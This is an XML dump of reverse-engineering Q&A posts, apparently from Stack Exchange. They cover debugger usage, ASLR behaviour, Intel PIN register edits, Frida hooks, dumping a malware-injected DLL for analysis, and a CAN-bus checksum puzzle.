  <row Id="17822" PostTypeId="1" AcceptedAnswerId="17825" CreationDate="2018-03-27T12:57:23.927" Score="0" ViewCount="4375" Body="&lt;p&gt;I am debugging a program but I no longer want to run step by step. Is there no &quot;resume program&quot; function that I can use to let the program I'm attached to, to run to completion of all its tasks without the debugger pausing every second (no breakpoints enabled). Maybe the access violations are why it's pausing but I want it to ignore them too as it's already excluded in my exceptions menu.&lt;/p&gt;&#xA;" OwnerUserId="23763" LastActivityDate="2018-03-27T14:46:49.130" Title="Run program until completion without debugging step by step" Tags="|ollydbg|x64dbg|" AnswerCount="1" CommentCount="1" ClosedDate="2018-03-28T14:39:17.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="17823" PostTypeId="1" CreationDate="2018-03-27T13:41:14.483" Score="4" ViewCount="4949" Body="&lt;p&gt;I'm using dnSpy (version: 4.5.3) to debug a .NET binary. I can successfully view the values of Local variables in the Locals window but I cannot view the values of static fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, per this github discussion: &lt;a href=&quot;https://github.com/0xd4d/dnSpy/issues/334&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/0xd4d/dnSpy/issues/334&lt;/a&gt; for dnSpy, this feature was already added in version 4.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please refer the image below. The locals windows doesn't show the value of Static Fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MoeG0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MoeG0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to view them? How can I use the C# Interactive feature of dnSpy to view these values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-03-27T13:41:14.483" Title="View static field values in dnSpy" Tags="|debugging|.net|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17825" PostTypeId="2" ParentId="17822" CreationDate="2018-03-27T14:46:49.130" Score="2" Body="&lt;p&gt;In both, ollydbg and x64dbg you can just press the &quot;run&quot; button(or F9) to let the programm run normally. You may have to disable the breakpoints beforehand(This will not delete them). In x64dbg you do a right click in the breakpoints panel and select &quot;disable all&quot; in the context menu to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &quot;ignore&quot; all exceptions in x64dbg: Click on options -&gt; preferences -&gt; exceptions -&gt; add range. Then in the first input enter a &quot;0&quot; and in the second as many &quot;F&quot; as fit in.&lt;/p&gt;&#xA;" OwnerUserId="23743" LastActivityDate="2018-03-27T14:46:49.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17828" PostTypeId="2" ParentId="17815" CreationDate="2018-03-27T19:13:37.070" Score="0" Body="&lt;p&gt;windows &gt; greater than vista implement a security feature called ASLR (Address Space Layout Randomisation ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this feature randomly changes the Base Address of the binary each time it is restarted  this prevents  constant address dependent exploits obsolete &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for dlls the base address is changed per boot  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;even though the address space is randomised there can be clashes and the binary might be loaded in the same base address several times &lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose you have code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;void main (void) {&#xA;    char buff[MAX_PATH] = {0};&#xA;    GetModuleFileName(NULL,buff,MAX_PATH);&#xA;    printf(&quot;%p\t%s\n&quot; , GetModuleHandle(NULL) , buff);&#xA;    HMODULE hntdll = GetModuleHandle(&quot;kernel32&quot;);&#xA;    GetModuleFileName(hntdll,buff,MAX_PATH);&#xA;    printf(&quot;%p\t%s\n&quot; , hntdll , buff);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see the binary is loaded in the same address 3 times consecutively while changing its base the fourth time  also you can see the dll is always loaded in same address on all 4 restarts (this address may change on rebooting )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\printbaseaddr&amp;gt;printbaseaddr.exe&#xA;00C80000        C:\Users\printbaseaddr\printbaseaddr.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;&#xA;C:\Users\printbaseaddr&amp;gt;printbaseaddr.exe&#xA;00C80000        C:\Users\printbaseaddr\printbaseaddr.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;&#xA;C:\Users\printbaseaddr&amp;gt;printbaseaddr.exe&#xA;00C80000        C:\Users\printbaseaddr\printbaseaddr.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;&#xA;C:\Users\printbaseaddr&amp;gt;printbaseaddr.exe&#xA;003D0000        C:\Users\printbaseaddr\printbaseaddr.exe  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see if your binary is ASLR enabled using any pe file explorer &#xA;one way is to use dumpbin /headers and look for Dynamic Base in Dll Characteristics&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\printbaseaddr&amp;gt;dumpbin /headers printbaseaddr.exe | grep  Dyna&#xA;                   Dynamic base&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can patch this in the file to diasble aslr for an executable  and you will notice the exe is always loaded in its prefferred base which for an exe is normally 0x400000&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;fc printbaseaddr.exe printbaseaddrmod.exe&#xA;Comparing files printbaseaddr.exe and PRINTBASEADDRMOD.EXE&#xA;00000156: 40 00&#xA;&#xA;:\&amp;gt;xxd -s 0x154 -l 10 printbaseaddrmod.exe&#xA;0000154: 0300 0081 0000 1000 0010                 ..........&#xA;&#xA;:\&amp;gt;xxd -s 0x154 -l 10 printbaseaddr.exe&#xA;0000154: 0300 4081 0000 1000 0010                 ..@.......&#xA;&#xA;:\&amp;gt;echo off&#xA;for /L %i in (1,1,10) do printbaseaddrmod.exe&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;00400000        printbaseaddr\printbaseaddrmod.exe&#xA;774E0000        C:\Windows\system32\kernel32.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-27T19:30:37.753" LastActivityDate="2018-03-27T19:30:37.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17830" PostTypeId="1" AcceptedAnswerId="17832" CreationDate="2018-03-28T17:35:15.593" Score="1" ViewCount="747" Body="&lt;p&gt;Basically I just would like to modify the following code: &lt;a href=&quot;https://github.com/SideChannelMarvels/Tracer/tree/master/TracerPIN&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/SideChannelMarvels/Tracer/tree/master/TracerPIN&lt;/a&gt;&lt;br&gt;&#xA;(based on Intel PIN) in order to be able to modify the content of some registers at a given PC.&#xA;For this I just inserted the following callback at line 418 of Tracer.cpp, when the PC is 0x808104f (as a simple test):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ceip == 0x808104f) {  &#xA;    string* dis = new string(INS_Disassemble(ins));  &#xA;    INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)changeReg,  &#xA;        IARG_INST_PTR,  &#xA;        IARG_CONTEXT,   &#xA;        IARG_PTR, dis,   &#xA;        IARG_UINT32, INS_Size(ins), IARG_END);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally here is my function &lt;strong&gt;changeReg()&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VOID changeReg (ADDRINT ip, CONTEXT *ctxt, string *disass, INT32 size){  &#xA;    UINT32 edx_new_value = 0x00000ccc;  &#xA;    UINT32 edx_value;  &#xA;    //set the registers  &#xA;    PIN_SetContextReg(ctxt, REG_EDX, edx_new_value);  &#xA;    edx_value = PIN_GetContextReg(ctxt, REG_EDX);  &#xA;    printf(&quot;EDX = %08x \n&quot;, edx_value);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I trace my program with my modified TracerPIN:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@VirtualBox:/media/shared/E/tracerPin/test/x86#Tracer -o test_modif_register.txt -- ./testapp&#xA;[*] Trace file test_modif_register.txt opened for writing...&#xA;EDX = 00000ccc&#xA;root@VirtualBox:/media/shared/E/tracerPin/test/x86#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the printf(), it looks like my register has been correctly modified to 0xccc, however when I checked the .txt trace, the register EDX is still left unmodified (0x0000137), and my modification is never taken into account in the trace... any idea ?:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[I]      1016       0x8081049    and edx, 0x1fff                        81 e2 ff 1f 00 00&#xA;[I]      1017       0x808104f    mov dword ptr [0x8086ae4], 0x4f0       c7 05 e4 6a 08 08 f0 04 00 00&#xA;[W]      1017       0x808104f    0x8086ae4 size= 4 value=        0x000004f0  &#xA;[I]      1018       0x8081059    mov dword ptr [0x8086ac0], edx         89 15 c0 6a 08 08&#xA;[W]      1018       0x8081059    0x8086ac0 size= 4 value=        0x00000137  &#xA;[I]      1019       0x808105f    mov dword ptr [0x8086db0], ecx         89 0d b0 6d 08 08&#xA;[W]      1019       0x808105f    0x8086db0 size= 4 value=        0xa5879af8&#xA;[I]      1020       0x8081065    lea ecx, ptr [edi-0x4]                 8d 4f fc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23780" LastEditorUserId="13606" LastEditDate="2018-03-30T07:52:02.743" LastActivityDate="2018-03-30T10:59:52.943" Title="Intel PIN (TracerPIN): adding modification of registers" Tags="|instrumentation|register|intel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17832" PostTypeId="2" ParentId="17830" CreationDate="2018-03-28T18:20:17.723" Score="1" Body="&lt;p&gt;What worked for me was passing a reference to the register to my &lt;code&gt;changeReg()&lt;/code&gt; function with &lt;code&gt;IARG_REG_REFERENCE&lt;/code&gt;, then changing the value the reference points to.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastEditorUserId="53" LastEditDate="2018-03-30T10:59:52.943" LastActivityDate="2018-03-30T10:59:52.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17833" PostTypeId="1" CreationDate="2018-03-28T18:29:11.617" Score="2" ViewCount="131" Body="&lt;p&gt;My Macbook A1342 broke and before I throw it away I want to try and salvage the screen. I don't have much knowledge of hardware (aside from building PCs, most of my skills exist at the software level) so I have no idea how I would go about doing this. I'm guessing buying some sort of control board to interface between video input and the [serial?] port of the LCD. Anyone know how I would go about doing this, or at least lead me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW I don't know of a better stackexchange for this question, so suggestions for that are also appreciated&lt;/p&gt;&#xA;" OwnerUserId="23785" LastActivityDate="2018-11-26T04:04:25.710" Title="I have an old Macbook A1342 that broke. Is there any way I could repurpose the LCD and give it some sort of video input?" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17834" PostTypeId="1" CreationDate="2018-03-28T19:07:44.537" Score="1" ViewCount="626" Body="&lt;p&gt;Is there anyway to break on &lt;code&gt;gdb&lt;/code&gt; where &lt;code&gt;$r1&lt;/code&gt; equals to a certain string&#xA;I know there is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break [addr] if ((int)strcmp($r1, &quot;hello&quot;)) == 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what to set in &lt;code&gt;addr&lt;/code&gt; when I just wanna break when the &lt;code&gt;r1&lt;/code&gt; is &lt;code&gt;&quot;hello&quot;&lt;/code&gt; no matter the address?&lt;/p&gt;&#xA;" OwnerUserId="21219" LastEditorUserId="53" LastEditDate="2018-03-29T07:48:16.627" LastActivityDate="2018-03-29T07:48:16.627" Title="Break anywhere when $r1 equals to string GDB" Tags="|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17835" PostTypeId="1" AcceptedAnswerId="17841" CreationDate="2018-03-28T19:19:52.413" Score="4" ViewCount="23197" Body="&lt;p&gt;I'm learning frida and trying to hook a function that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`.method public final fn()[B`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns a byte array. Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Java.perform(function () {&#xA;    var test = Java.use(&quot;com...&quot;);&#xA;    test.fn.overload().implementation = function () {&#xA;        var ret = this.fn();&#xA;        console.log(&quot;how to write here?&quot;);&#xA;        return ret;&#xA;    };&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to print the &lt;code&gt;ret&lt;/code&gt; variable returned by the function? It's a &lt;em&gt;byte[]&lt;/em&gt;. I tried &lt;code&gt;console.log&lt;/code&gt; but it only prints a &lt;em&gt;[object]&lt;/em&gt;, and &lt;code&gt;hexdump&lt;/code&gt; complains &lt;em&gt;'expected a pointer'&lt;/em&gt;. How can I print the array?&lt;/p&gt;&#xA;" OwnerUserId="17710" LastActivityDate="2023-12-08T07:53:35.283" Title="print [B byte array in frida js script" Tags="|android|function-hooking|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17836" PostTypeId="1" CreationDate="2018-03-28T19:24:13.157" Score="3" ViewCount="10009" Body="&lt;p&gt;So there is executable malware, what when opened downloads dll from server or so and injects into target process. I checked properties of the target process in process hacker and clicked on .NET assemblies and under AppDomain: Plugins I found that dll, but there was no path of it, just name, so I suppose that its in memory of target process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Is there a way to export that dll out of the target process? I have very rare touched with this stuff, is there any tutorials in situations like this? I suppose I need programs like ollydbg, IDA, WinDBG.., right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways I hope someone could help with this.&lt;/p&gt;&#xA;" OwnerUserId="23786" LastActivityDate="2018-03-31T11:52:01.283" Title="Dumping dll out of process" Tags="|malware|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17837" PostTypeId="2" ParentId="17836" CreationDate="2018-03-28T20:33:29.113" Score="5" Body="&lt;p&gt;I had written up a lengthy answer about some of the subtleties of dumping executables and DLLs before I realized that you may have simpler solutions available. Since you say it's downloading the DLL off of the network, perhaps you can just read the raw contents of the DLL from the network traffic? If the traffic, and the DLL, are unencrypted, this should be easy (you can use Ethereal, for example). If the traffic is encrypted (say, via HTTPS) but the DLL is not, perhaps you can place a breakpoint inside of the HTTPS library to retrieve the unencrypted traffic. If the DLL is encrypted separately from or regardless of the network traffic's encryption or lack thereof, then these ideas won't give you an unencrypted DLL, so you might have to fall back on the idea of dynamically dumping the DLL out of memory at some point. Thus, my original answer follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that EXEs and DLLs share the same file format, and are loaded within a process' address space in an identical fashion, the same tools and procedures for dumping an EXE out of memory also apply to dumping a DLL out of memory. Many tools exist such as Scylla, LordPE, ImpRec and its dump plugin, etc. You can find a list over on &lt;a href=&quot;https://tuts4you.com/e107_plugins/download/download.php?action=list&amp;amp;id=38&quot; rel=&quot;noreferrer&quot;&gt;Tuts4You&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One complication in dumping executable images out of memory is that, if you want the end result to be a working EXE that you can run (or in this case, a working DLL that can be loaded into memory), you need to be meticulous about the precise time to dump. When programs execute, they tend to modify global data structures to indicate that things have been initialized already. For example, the program might check to see if some pointer value stored in the global data section is NULL, and if so, allocate memory and overwrite that NULL pointer with the allocation. Thus, if you were to dump the EXE or DLL after this happened, the next time you ran the program or loaded the DLL, that global data item would point to a piece of memory that no longer exists in memory. The dumped program will probably crash as a result of this. That's why manual unpacking is so fixated on finding the &quot;original entrypoint&quot;, or OEP: you want to pause execution after the packer finishes its business, before the program starts overwriting its data section. Another related issue is relocations; Windows' loader will modify the process image if it is loaded at a base address other than its preferred one. If you dump after relocations are applied, your dump will reflect those changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that reconstructing a working EXE or DLL is not always the goal. For example, if you just wanted to take a quick peek at the contents of the EXE or DLL in IDA, you could get away with stopping the process at any time and dumping the EXE or DLL. This involves fewer steps than recreating a working image, so it's easier.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I bring this up is because, depending upon the manner of DLL injection, the operating system may process the relocations and call the entrypoint of the DLL immediately upon injection into the other process. If you want to dump the DLL and obtain a working image, this is bad for you due to what I described two paragraphs ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the injecting program uses &lt;code&gt;CreateRemoteThread&lt;/code&gt; to force a call to &lt;code&gt;LoadLibrary&lt;/code&gt; in the victim process, then it must've written the DLL to disk, so you can just copy it without having to worry about the precise time to dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the injecting program uses some other method like &lt;a href=&quot;https://github.com/stephenfewer/ReflectiveDLLInjection&quot; rel=&quot;noreferrer&quot;&gt;reflective DLL injection&lt;/a&gt;, that means it bypasses the operating system's loader and manually fixes up the DLL (processing relocations, loading imports, and forwarding exports). You'll want to dump the DLL out of the injecting program after it decrypts the DLL, but before it applies the fixes just mentioned. You might start by setting a breakpoint on &lt;code&gt;WriteProcessMemory&lt;/code&gt; and &lt;code&gt;NtWriteVirtualMemory&lt;/code&gt; in the injecting process to try to locate the code that performs DLL injection, and working backwards to find where the DLL is retrieved from the network and fixed up. Once you've found that, set a breakpoint before the code that fixes up the DLL's image and dump the not-yet-fixed DLL onto disk at that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are just my high-level thoughts. More specific questions could yield more specific answers.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2018-03-28T20:33:29.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17838" PostTypeId="2" ParentId="12539" CreationDate="2018-03-28T21:32:47.630" Score="2" Body="&lt;p&gt;you can get system call stack with strace too. you just need to compile strace with &lt;em&gt;libunwind&lt;/em&gt;. After that you just need to use -k to get system call stack for each system call.&lt;/p&gt;&#xA;" OwnerUserId="23790" LastActivityDate="2018-03-28T21:32:47.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17839" PostTypeId="1" CreationDate="2018-03-28T21:37:29.417" Score="0" ViewCount="1568" Body="&lt;p&gt;In a program I'm working on, a variable is set using a memory address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov r9, [0x0000000000472C10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the equivalent? (forgive the python code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value = 55 &amp;lt;---- value at memory address 472C10?&#xA;...&#xA;x = number &amp;lt;---- x is set from r9?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that case, instead of the hard-coded 55 in the code, I'd like to use my own number. The trouble is I don't know how to access it. My own value has been defined somewhere in the program for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user_value = getValue()&#xA;...&#xA;# assuming we're still in the same function&#xA;...&#xA;value = 55&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I now change value to be equal to &lt;code&gt;user_value&lt;/code&gt;, where can I find the memory address of &lt;code&gt;user_value&lt;/code&gt; so I can change the &lt;code&gt;mov&lt;/code&gt; instruction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I know that x64dbg has a way of tracing registry changes, could this be a way of tracking when 55 is set?&lt;/p&gt;&#xA;" OwnerUserId="23763" LastEditorUserId="23763" LastEditDate="2018-03-29T19:59:02.047" LastActivityDate="2018-06-28T15:26:39.623" Title="Is there a way to see all &quot;values&quot; in memory?" Tags="|assembly|ollydbg|x64dbg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17840" PostTypeId="2" ParentId="17834" CreationDate="2018-03-29T07:46:08.090" Score="1" Body="&lt;p&gt;Python api in GDB is very convenient to script such solutions. Although the api is a little &quot;wild&quot;, I refer to &lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;pwndbg&lt;/a&gt; on how to use the api. I wrote the following for x86_64 to break only when the first param matches &quot;pol&quot;. Full code &lt;a href=&quot;https://gist.github.com/sudhackar/68e204654b4f4033b29736abfb4c2ee8&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import gdb&#xA;&#xA;class MyBreakpoint (gdb.Breakpoint):&#xA;    def stop (self):&#xA;        rdi = int(gdb.parse_and_eval(&quot;$rdi&quot;).cast(gdb.lookup_type('uint64_t')))&#xA;        print(&quot;x(%x)&quot; % (rdi)), &#xA;        result = gdb.selected_inferior().read_memory(rdi, 10)&#xA;        if b'\x00' in result:&#xA;            result = bytearray(result).split(b'\x00')[0]&#xA;        if result == b'pol':&#xA;            return True&#xA;        return False&#xA;&#xA;MyBreakpoint(&quot;x&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-03-29T07:46:08.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17841" PostTypeId="2" ParentId="17835" CreationDate="2018-03-29T08:47:36.993" Score="10" Body="&lt;p&gt;　&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var ret = this.fn();&#xA;var buffer = Java.array('byte', ret);&#xA;console.log(buffer.length);&#xA;var result = &quot;&quot;;&#xA;for(var i = 0; i &amp;lt; buffer.length; ++i){&#xA;    result+= (String.fromCharCode(buffer[i]));&#xA;}&#xA;console.log(result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23797" LastEditorUserId="53" LastEditDate="2018-03-29T10:59:38.937" LastActivityDate="2018-03-29T10:59:38.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17842" PostTypeId="2" ParentId="17830" CreationDate="2018-03-29T11:57:08.680" Score="0" Body="&lt;p&gt;Here is my new callback prototype: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ceip == 0x808104f) {  &#xA;     string* dis = new string(INS_Disassemble(ins));  &#xA;     INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)changeReg,  &#xA;     IARG_INST_PTR,  &#xA;     IARG_REG_REFERENCE, REG_EDX,      &#xA;     IARG_END);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;changeReg()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VOID changeReg (ADDRINT ip,  ADDRINT *edx) {   &#xA;    *edx = 0x00000ccc;  &#xA;    printf(&quot;EDX = %08x \n&quot;, (UINT32)*edx);   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23780" LastEditorUserId="53" LastEditDate="2018-03-30T10:59:28.873" LastActivityDate="2018-03-30T10:59:28.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17847" PostTypeId="1" CreationDate="2018-03-30T08:44:41.907" Score="1" ViewCount="1107" Body="&lt;p&gt;I am trying to figure out a checksum algorithm.&#xA;D1 to D6 is data, D7 is a counter obviously and byte 8 must be a CRC, but I didnt have any idea on how to build it. Tried to check if it fits any standard, but no clue yet. Would be awesome if anyone had an idea :) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    D1  D2  D3  D4  D5  D6  D7  D8&#xA;    20  0E  20  00  04  FF  F0  1F&#xA;    20  0E  20  00  04  FF  00  60&#xA;    20  0E  20  00  04  FF  10  AD&#xA;    20  0E  20  00  04  FF  20  E7&#xA;    20  0E  20  00  04  FF  30  2A&#xA;    20  0E  20  00  04  FF  40  73&#xA;    20  0E  20  00  04  FF  50  BE&#xA;    20  0E  20  00  04  FF  60  F4&#xA;    20  0E  20  00  04  FF  70  39&#xA;    20  0E  20  00  04  FF  80  46&#xA;    20  0E  20  00  04  FF  90  8B&#xA;    20  0D  20  00  04  FF  A0  0B&#xA;    20  0D  20  00  04  FF  B0  C6&#xA;    20  0D  1F  FF  04  FF  C0  6A&#xA;    20  0D  1F  FF  04  FF  D0  A7&#xA;    20  0D  1F  FE  04  FF  E0  70&#xA;    20  0C  1F  FD  04  FF  F0  41&#xA;    20  0C  1F  FD  04  FF  00  3E&#xA;    20  0C  1F  FC  04  FF  10  6E&#xA;    20  0B  1F  FB  04  FF  20  1F&#xA;    20  0B  1F  FB  04  FF  30  D2&#xA;    20  0B  1F  FB  04  FF  40  8B&#xA;    20  0A  1F  FA  04  FF  50  9D&#xA;    20  0A  1F  FA  04  FF  60  D7&#xA;    20  0A  1F  F9  04  FF  70  A0&#xA;    20  09  1F  F9  04  FF  80  15&#xA;    20  09  1F  F9  04  FF  90  D8&#xA;    20  09  1F  FA  04  FF  A0  28&#xA;    20  08  1F  F9  04  FF  B0  19&#xA;    20  08  1F  FA  04  FF  C0  FA&#xA;    20  08  1F  F9  04  FF  D0  8D&#xA;    20  07  1F  F8  04  FF  E0  9F&#xA;    20  07  1F  F8  04  FF  F0  52&#xA;    20  06  1F  F8  04  FF  00  6B&#xA;    20  05  1F  F7  04  FF  10  04&#xA;    20  05  1F  F7  04  FF  20  4E&#xA;    20  04  1F  F6  04  FF  30  58&#xA;    20  03  1F  F5  04  FF  40  74&#xA;    20  03  1F  F5  04  FF  50  B9&#xA;    20  03  1F  F5  04  FF  60  F3&#xA;    20  02  1F  F5  04  FF  70  78&#xA;    20  02  1F  F6  04  FF  80  BD&#xA;    20  02  1F  F7  04  FF  90  ED&#xA;    20  02  1F  F8  04  FF  A0  CF&#xA;    20  02  1F  F9  04  FF  B0  9F&#xA;    20  02  1F  FB  04  FF  C0  E1&#xA;    20  02  1F  FC  04  FF  D0  D8&#xA;    20  02  1F  FD  04  FF  E0  0F&#xA;    20  02  1F  FE  04  FF  F0  78&#xA;    20  02  1F  FF  04  FF  00  9A&#xA;    20  02  1F  FF  04  FF  10  57&#xA;    20  02  20  00  04  FF  20  E8&#xA;    20  02  20  00  04  FF  30  25&#xA;    20  02  20  00  04  FF  40  7C&#xA;    20  02  20  00  04  FF  50  B1&#xA;    20  02  20  00  04  FF  60  FB&#xA;    20  02  20  00  04  FF  70  36&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23810" LastActivityDate="2020-01-24T23:41:52.423" Title="Reverse engineer CAN-Bus checksum" Tags="|decryption|encodings|crc|networking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17849" PostTypeId="2" ParentId="16826" CreationDate="2018-03-30T09:40:26.873" Score="1" Body="&lt;p&gt;It depends on your goal. If all you care about is side-effects (as in API calls, written files, network stuff and so on), they don't really make life difficult. As you said, in the end the API has to be used and you will be able to catch it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of virtualization is preventing people from understanding internal processes of the target. As such, often times people virtualize only specific code blocks to lessen the overall negative performance impact and just protect for example code that reads a license file, code that does cryptography and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it very tedious to extract algorithms from the target. If your question is what happens inside, VM protections are the worst. If you just care about what the target &lt;em&gt;does&lt;/em&gt;, well, they do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, their goal is turning an executable into a black box, not shroud their doings.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-03-30T09:40:26.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
